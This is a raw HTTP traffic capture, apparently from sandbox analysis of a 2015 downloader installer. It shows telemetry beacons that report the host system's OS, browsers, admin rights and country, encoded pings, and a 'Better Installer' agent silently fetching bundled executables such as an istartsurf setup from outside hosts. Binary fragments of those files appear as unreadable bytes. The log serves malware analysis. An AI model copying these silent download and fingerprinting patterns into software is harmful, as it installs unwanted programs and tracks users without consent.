GET /updatecheck.php?v=SciLors GrooveDownloader.exe&a=923f08dcf90feea96c1df2eb5250020a&b=f8906a9910718fa49694bf11ba35275e937765bd&c=c518dc4de9ca835a41a74d6369a190fff3784db44c5f630c5d7e0f67bb7d38ca HTTP/1.1
Host: VVV.scilor.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:45 GMT
Server: Apache/2
X-Powered-By: PHP/5.5.8
Vary: User-Agent
Content-Length: 1
Content-Type: text/html
1HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:29:45 GMT..Server: Apache/
2..X-Powered-By: PHP/5.5.8..Vary: User-Agent..Content-Length: 1..Conte
nt-Type: text/html..1..



GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.comodoca.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:32:02 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Tue, 14 Apr 2015 06:26:03 GMT
Expires: Sat, 18 Apr 2015 06:26:03 GMT
ETag: 6406009ED9705C87191DEEBD3225CB1C64D7D139
Cache-Control: max-age=272640,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp3
Content-Length: 472
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........,}...h|%....?......2015041
4062603Z0t0r0J0... .........%.6..Ga....e............,}...h|%....?.....
......p....".f........20150414062603Z....20150418062603Z0...*.H.......
.......q......Ma\....N4$p[..D.[..q.YA..[E.........9...J...6I.,~.\zg.e.
.G.2..bSC.v...f..)....=X.v\@s.........)V..Tf.O..n........,...;...ko.'.
.`.5$..ND&.1F.p.S....t..o.....0.c/...[.3..M].......vC.'.N>c.N.:.g..
") ..l...B.....0e....2-G....i......3?<5.1T..]4...........



GET /installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_29&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429064926&procruntime=3&rnd=1429064929 HTTP/1.1
Host: stats.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Vk/cCSxWfRlVLvK7CcTti9RVatpcd hywZIbI2KNlUlraUXsslCOiydyG2m6tUzv1WyMRG9F95g=
x-amz-request-id: 7E3B9A86AF1CEFF6
Date: Wed, 15 Apr 2015 02:28:51 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:33:18 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Vk/cCS
xWfRlVLvK7CcTti9RVatpcd hywZIbI2KNlUlraUXsslCOiydyG2m6tUzv1WyMRG9F95g=
..x-amz-request-id: 7E3B9A86AF1CEFF6..Date: Wed, 15 Apr 2015 02:28:51 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 31 Mar 2015 09:33:18 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_29&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=17&rnd=1429064943 HTTP/1.1


Host: stats.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: cLWhnKzFcSnQ3wDYwQhuOfFL55soJq4hlv8LnltmLvXu0YHD4AM DO8PHpcuPV5iujd6WyAUTEE=
x-amz-request-id: EF6E5C6E9DB8FA53
Date: Wed, 15 Apr 2015 02:29:04 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:33:18 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429064926&lifetime=0&silent=1&crtnm=na&procstarttime=1429064926&procruntime=17&rnd=1429064943 HTTP/1.1


Host: stats.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: xhCEmZ6nvr3f/qTXBw4U lN8wEd0xYv6TRSXybjj06vM15qT76sZ6MngKR7kOEwUwyvsXlrzz8M=
x-amz-request-id: 961B614C0AB1A5E7
Date: Wed, 15 Apr 2015 02:29:04 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:32:56 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: xhCEmZ
6nvr3f/qTXBw4U lN8wEd0xYv6TRSXybjj06vM15qT76sZ6MngKR7kOEwUwyvsXlrzz8M=
..x-amz-request-id: 961B614C0AB1A5E7..Date: Wed, 15 Apr 2015 02:29:04 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 31 Mar 2015 09:32:56 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=482374-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 803955
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 14 Apr 2015 21:04:06 GMT
Content-Range: bytes 482374-1286328/1286329
X-Cache: Miss from cloudfront
Via: 1.1 08e827c1c3607809b4e04a83f8104c9e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 3T07FPSLP9hqPUszikOuDDpD0Xs9cr19zUXtSN5On6ClPTAReGLCHg==
..'.....yR..T'...&..].R .^...s...I....,..]c....d.2m.V..rw......e[..B..
.. [email protected]!.u..,...!".DR..N.}..A....p..zB...f_..E......-Bq.m...
......=........{.9(#.Z....k......A..d..L....f...Y.^.m..MMW#EOc..._.w.^
q...........S...C..o...2N..b"Q...N.......k..........S...RF.t.<7..".
[email protected]"?jN...A...W .F1.;...*bdY.....,;y...c....|#.
........d..C.t.....fGK..)..b..g9..b......._...J.!........W...a..7./.0o
%...&Q.E.He....*.a..Y...uqAaw..e.Y...x..-h`-......^.&%.m/.....xe......
9..`....3>.L.Y.....9..9..1........Y..m....1.se8...\c.......vT...P..
w.a.9..2..%.dR.........Wc.../T#............$.N..n.J.2.....vi.p..Xpl.v.
.-....9.y.]2..E..^....Z.?r...j7..#.a.P.......9_..,r.1......4.......~..
....6...Z{d..V.V....u3.L.O}8q.5..{|.[...M:qa.D.....j..WjB ..k.....J0..
A.r.....B.4U...d...e=WB.L...xY.4m?y6..]......fe........i.6.)....:f..e.
y,...G(4...<."=bW.X.....'...7..|.F..&..a....0{.3H.d..V..O].$R7>w
O......w}...NWx...O...5`F..;0Q..u>....P.#..d.......]Fy.q.re.."|.i?^
?...r)9......,.l...c...Vf.%.<.cGE.ZW....^.)......t86...)..q......S.
[email protected]..~...6..X<.  ./..X....8.}../.....p*.......sK..6...
-..8e...."rZ..N_76.. ....36"....N.-..h...O*N$.......{.*.....?...=.....
zp..}.6f.=..Q:g..^.C...0c..s"=....-A.y.k.<..aI.Y.C..w..6..>.Vf..
O.[...N.dA....6.....t.#..~...".L.j..".Z.&PA...~ky......L....)ns...x.]}
..5D...t3......O...).^.g..J...I.}...d.`..`H8c..#A.4..y...t.....0...e.n
U...9:[email protected]~.....7....`..?b..r....j.{.... .C!$....X.C....e
..W.;...N6..f.b......&../...g...cWm?k.....^e...U$....}.>.......
<<< skipped >>>


GET /23783.ashx?e=2v0SNuZrMFzXE3CBqGdJyVTMxLPMegp5ecAmwoMDzzeMDmRWpWBZ0CAvELRpepitjKjHf0fty0gsvrWM 2Yqs3AXDn0NgasyWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy xrlcXqCG0Rt2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:19 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:19 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /23783.ashx?e=bomaaVKFzzKfZNC1TqAoBDmrkcKym6qf1VMaOJFqXYpm5LT87ehXaouB5vT09TkZOGG6MkzEM7zAA5fsVkEwXwPPQmQ9wV0ecSC1j/7u2ZO0iegjomg76biKIFo3W8f23Wq7IsWCDz41BVXlOorQo  K9V0GRREST3FsALGJiApIj GXdVcREtCUHeR8YCF3xzZQYVq/ZZusvNkHARych5LYVlLaQ3XGR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pzjIpN1LJrzBQ10b3mYTWxvSQQFddyO yd2joo5c5pgUtlaETKETqg HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:20 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /images/64x64.ico HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: image/x-icon
Content-Length: 32038
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-7d26"
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
............ .h...F...  .... .........00.... ..%..V...@@.... .(B...:..
(....... ..... [email protected]{.[[
[.;;;/WWW.........................................jii.....efe.233.&%%.
!  ..--.[[[I............................[\\.,**.....]]\.011........."!
!.322.jhg?........................WWWg"!!...~.[ZY.   .........&$$./--.
`^^.........................vvu;#"".zwv.^\[.*)).........*((.755.wuuU..
..........................,  .rpp.`_^.))).........-  .ECC.............
....................544.ccc.RQo...?...2.....,*1.FEE...................
..............'&R.......x.! F.43?.KIJ.WUV.OMM.a__.mll/................
....}u..%%w.=<N.CA@.*((.&$$..,,.200.?==.jhh.gcd.NNNW........111gUTT
.....trq.YWV.?<<. .#.........#!!.301.QOO.xst.a__.{zz.110/....311
.^[Z.SQV.(';...T...8...............&.;::.`[\.vrs.QON3....(''.!...** ..
.....2.--....9...........#.! ".766.ZXX.omm.lll.........443Q''&.   ..-,
.A?=.$"".............&&&.<::.URR.cbb_................]]\.433u2//.20
0..,-.%##.........0//.FFF.\YY/................................sss.[[[/
>>>;ECC9][[%jgi..............................................
......................................................................
.............................(... ...@..... ..........................
......................................................................
......................................................................
.......................................vwy.ded VVWSAAA]555]POPMhgf#YYZ
..................................................................
<<< skipped >>>

GET /images/16x16.ico HTTP/1.1


Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: image/x-icon
Content-Length: 1150
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Connection: keep-alive
ETag: "5214ef07-47e"
Expires: Wed, 15 Apr 2015 02:59:34 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
............ .h.......(....... ..... .....@...........................
........ppo....Mmnn.:<<.,* ., ,.EDD.}}}9........................
...._^` \[[.....Z\Z.,//. "!.........544....Y....................ttt.BA
A.755.....YYY.)**.........!. .....SRR.~}}%....................KKK.1/..
....XXW.''&.........$"".(%%.XWW.||| ....................eef. )).....\Z
[.&&'.........&$$..**.yxx.........................yxzq, *...x.cbV.''".
........ ...522....k.........................|q[-,$.hg..BA{...B...9. .
:.20:.DBB....Q........................LIeU..X.......y...H.1/D.FDM.QPS.
NLL.fdc.wwvsjii.................XV.g..p.75H.@?9.20'. *$./.,.1/..643.WU
V.lij.gee.....NNN-AA@O..|o....sqn.][N.:81.!. .........#!!. *(.GEE.uqr.
qmn.ppp.$$$. * .^[[..~z.caa.43B. .G...1............... .334.NJK.}xy.fa
b.HHI...../-,.0/2.......J.. ....@...............%. **.DBA.oll.olm.||}.
=;=.!  ........., A.A?d...&............." !.,-,.CBB.a`_....u....TTT.MM
MI@@?.-,*./-).30*.)&$.#!!.............022.MKJ.mkkw................VUU.
VTTKJII.DCC.;9:.,  .%$#.*((.=<=.YYYwged/srr........................
......................................................................
.......................................HTTP/1.1 200 OK..Server: nginx.
.Date: Wed, 15 Apr 2015 02:29:34 GMT..Content-Type: image/x-icon..Cont
ent-Length: 1150..Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT..Connec
tion: keep-alive..ETag: "5214ef07-47e"..Expires: Wed, 15 Apr 2015 02:5
9:34 GMT..Cache-Control: max-age=1800..Accept-Ranges: bytes...........
... .h.......(....... ..... .....@................................
<<< skipped >>>


GET /grooveshark/download/install.exe HTTP/1.1
Range: bytes=5579365-
User-Agent: Better Installer(Mozilla)
Host: VVV.scilor.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:27:27 GMT
Server: Apache/2
Last-Modified: Fri, 17 Oct 2014 07:36:29 GMT
ETag: "883706-505996c51f940"
Accept-Ranges: bytes
Content-Length: 3347617
Content-Range: bytes 5579365-8926981/8926982
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
).W.......ckz(....q...vb\....H[^.......;.[.^c\v.)...9.q.b.H ..!..._...
..0..6m.....Ue....B....3=(........E-.C.y.[..-.T(....B..gq./..k.....''.
..."-.......-..|[email protected]*.0.....g.....K...fA../[email protected]....
....F#....mZ.F..q..V<#51.=7.j.0.D.M..y..0/.I ....N..7.Gi..j..{.....
1H^.7*tL|.y.F!..Idm|.eM.?...m)....j..m..|.F.k.( L.y-...}. ....{.C.z.8.
\dr...W.U7&..v.$...`.. .{L\&.0..S_...4.....M3...H.2BJ.|...$#.D........
....... .9u..!..\..9.t;.../...j..$............K..x.i.].D..T.6?. .....0
S.#......R.9*..>`........C...o&.Y.-y.....F.M.....jS.]L.. iT%......p
..(..p..e.c....W..M....g.%j....i....N..D3.\......g.l]ms.)...S.r9 Zi. .
 .. T....hj......Jn..M.d.#{...4^...M.6.j.p.p#Vk..^.q......... 60i..$.b
:..u...DC.se..i..U2F..e....\.../9..!..DP..^....~.....1..:.....et..0.fZ
Yq..:>gl..k.c..)...]T....y`DF.,.Cd.=.....j|..uH.T). 8...%...X.}...t
..]_..'[email protected].(:...........?..v\....k_..../....S.g....3<....9p.
............Y.<;wi....6.Y<P..#.................7...&Az$..V.....$
D..N5N..Zs;.zH....UWH....W.....4..U.......Dc..........=....C.....*.5B.
.;}...d...szJ&^...j.Y....Q\.wP.e..-}M._]<X1....k...3..kP.qd'H..qB..
v.Y..g...b.%m....e.D$....C&.>gn...M...b(.g..../....|N.$.2_....Vc..t
%.#.q.......D.......^;.n.K.Ag...5...e.M.|....P...=.<..X.....~*..8q.
1Y....Xf.<y.u|...8.......cx....J.[e) ...4.F.!....ti.9.>%(..}..4]
.a.k.qJD.S}.........A..S"....=...YN../H. ..........1.j2.\.0N ..M.`*...
.~;s%Q;.l..a$.Y..:.....a.B]'OT..v3..}.N..6..U\.)C(Y(. ..(.Z.7..W[.....
.08.;S.7.b......|.I..o.y... ..]!.....MO...N........A.P.6.......x..
<<< skipped >>>


GET /app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmKIKKufJNjik/AcH8PricLVP XtorcoTKl9JmdJZXAb1wbkcTiNWmo/wleHdxuxplOP02XJBghHECuY5KAgEuqJQDt2X2jDCEvXH00p6LCl39lOUM6J79LgCK57HYRhYyEMEhKRjPtPBtqueNuV5RRKM6rj1sArpGYEOz PgVj0Lt7G/yXPW4uAmOrZFPj41hpR1VsvE9COl4L8jm4XJmBVAfPJiocFViz8tbqmyb0fS 6lj4759r8RAB/YSDAGurDKp6WHHMklVdhH2ZrpRFByrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uA75YjrOJXrpTBXl5O1yvgpqzcXCJb OKoc4yKTdSya8wUNdG95mE1sb0kEBXXcjvsndo6KOXOaYGSHO2tzSIBdFv9YN/fe8 u HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:47 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 15 Apr 2015 02:28:47 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=hXeqmv1IpenVj9BNm3y5B3ZFr9sKl2h1/T7vGnIrRllP XtorcoTKgxB9pWV4xt1MyRsTHPDdAhxgnfs KRSGXtmD8Dkx2dtxTFIShqYYGTBXl5O1yvgpqzcXCJb OKoc4yKTdSya8wUNdG95mE1sb0kEBXXcjvsndo6KOXOaYEwQrDp9FTw2BfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1uOPXuF bXgYyuhanWjL2KRlvq8RedDljUuK5sKrcXforNiuWK4Z 32M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeOsdMRvnCZo1mDlNcv2CDURAyWZclVr5EGnOkOnlY13FvM/ a6Do0jS4AJYGjMA8T9AdcLl/v8gOtwcLG8Y2hsu HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:50 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 15 Apr 2015 02:28:50 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=657cd9m3NQGxXIjuhqBZpXZFr9sKl2h1/AcH8PricLVP XtorcoTKgxB9pWV4xt1IE3xXY68lVv0XfOKUZXMM/7Dni2x5uCyJ8HGWzrQJ1r8SaNRCRsmEYzpbjeDHyvNaRokfD2i3bSiVD03i8rOXiW0guRw9keUsXdgWz9x4otLov/TdmHmyAH52BQS2VDhNPMJ2DRUrFeFuEhupHszFkSmKH5lT07PQ1kgjXHSHi1Pu9FI3 6MG6yVq1Ms99xdbqeG 30JwGYVPchSnxFsXZ8C43sjhztyvOlUODstPenXGtSKDZTuZuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaqTMNUzlv3S3EyJr0Wai9KKHoAa6gky6IUA7dl9owwhL1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwQLRCbW pj1sRrFNS1 cpsg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:57 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Wed, 15 Apr 2015 02:28:57 GMT..Content-Length: 0..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=643165-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 643164
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 14 Apr 2015 18:09:33 GMT
Content-Range: bytes 643165-1286328/1286329
X-Cache: Miss from cloudfront
Via: 1.1 ccd6cf345f24eef514e5a735474389cb.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LQugzI0YtsMJxn_cs45RY9EqOqpOmWw-KU4gJshhovh9O7cGfSMv6g==
...E.oDW...*/[email protected].....;.ht..^......
@..........F._o.[.Ru.....mT.............d.u .K.6M.,....../.p./z.8A.;.2
-...p0W6^F.....V.oP...U...qV...y...W................Z...h..T...y.....M
..*M........?O$..}s.......r...7..D.uBDE#.nqJ....!,......".M..#... ..oR
ox.tY%....`...D6f.c...)s...JOF\....r..2......kF 7\...p/../q.H..1`.A..a
.N......K..0.j...n... ...R-..F.mB...jq.ED..J.S...........u.@.:5p>..
..}n^B..*'...x...B......&..K......q....U%[.=H../.IR..y...<.=.......
.J.=Y^....%.......*....H...'W..)Vy..q..o. -.k..*.l(...>.Lys.=..?#..
A...E....Ht....4.h/......i........^.q..LI..y.....X..f........Gpu.....p
.5(...5..W.*Z......M..)......?.....;N.>5u.bC..,..kDa...n....Cu.....
6......K...../......m...6...OgF. D....m.:...a}$..s.....K.H0(`..g.....y
.....R..>.u9...[\.>.h.........g....i_....;..U.#.$9....V.T.>.H
e..L.=...8......\.-y..2~..~.'c............xT....=E..e...b._...>.'.z
...&rs.}.....3?.....n.T....".fu...b.(..tI2Z.../.8s.c.6..........9.GH\.
.\C.P%_>..V.)....(..F..,.alW...,.`.S:.Is\._...>......L.yHr..Vx.?
...xb.yF..'...'6.h..g...y q.....~.j....76N..{...;C..i,..o\.../x.0.]..e
'.n.K.b.`....dHV....f....I....3..'..!]..0.CxJ...=...V..O./.9......V...
=.Q`.F..K....q.P{.....i..9.*.*."[email protected]=..A.D...c>.....)FD/R..:...'...
..x3..T.&........C%.(.......(...( .2..v....R.>...p..gP.4...|.U..o..
...[C.U2..*g...K....H[.]...N.....Yl..XVQ.~....y.....V...N...o......?~.
.$.e..}........2.N[|..../.o...}....H^.....D.q..B#..~....[w~.}F*.f....$
..,..2.....=.s.bs :<..<=...W..#.Z.6...q..g)....'R..'.....A..
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=335664-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: application/octet-stream
Content-Length: 335664
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:20 GMT
Cache-Control: max-age=259200
Content-Range: bytes 335664-671327/671328
..M.u..C.PWj.Q..;.......M.....E...;..}..t)[email protected]....;..._
^[..].3.......E._^[..]....V......Q...............t.Q..h..G.Q.........7
...^......^.........V........Q............W..(......t.Sh..G.Q.b......_
.7...^..O..A..G...t......_^.h..G.......h..G.R............u..B.........
._^.......W3...b...t.Qh..G.P.........7..._.............QRP..G..j.j.j.j
.j.j.j.V..j....,3........_........U..3..}.....t..8...3........]...U...
..SW.}...8......T............E..M..E.....u..l..._[..]..{..t.S........_
[..].V.M..U.R.E.PSQ............uk.{8..M.t....t..U........M...tM.C8H...
.......$...E..........QW.S..........u ..8..........t.S............z...
..^_[..]......(.................V.....QW..............................
`.....Q............3....H....y....I.m-E.v-E..-E..-E..-E..-E..-E..-E..-
E..-E..-E.....V.0Wj.j.3.....H......(......G.t..._^............U.....SV
.u...W..(...3..}.....6...9.,.....*....M...t..................9.p......
...9.,.........9.D.........9_.u ............t.h..G.....H........h..G..
...H.............u._^.C.[..]...T....U.RWSPV.L.......E...t.S....H..E...
._^[..]..E.;.t....... ................l...S.. .....$.......H..........
............}....G...t.P....H.....G..........._^..[..]._^3.[..].U..V..
....$......(...t...............D....Q...,....t...D....t.V.............
....u.WV.w/.........U......^].......U...}..V.u.W......u .G,..t........
t........u........W......GTPV.|[email protected]@...._3.^]....
........U..V.u.W.}.VW..........u.9.t..._^]..0.._^]......U..QV.3Wj.....
.j.V.FP.FT..B..j.j.V..B..j.j.V..C..j.j.V..B...E.P.........4..u.9.t
<<< skipped >>>


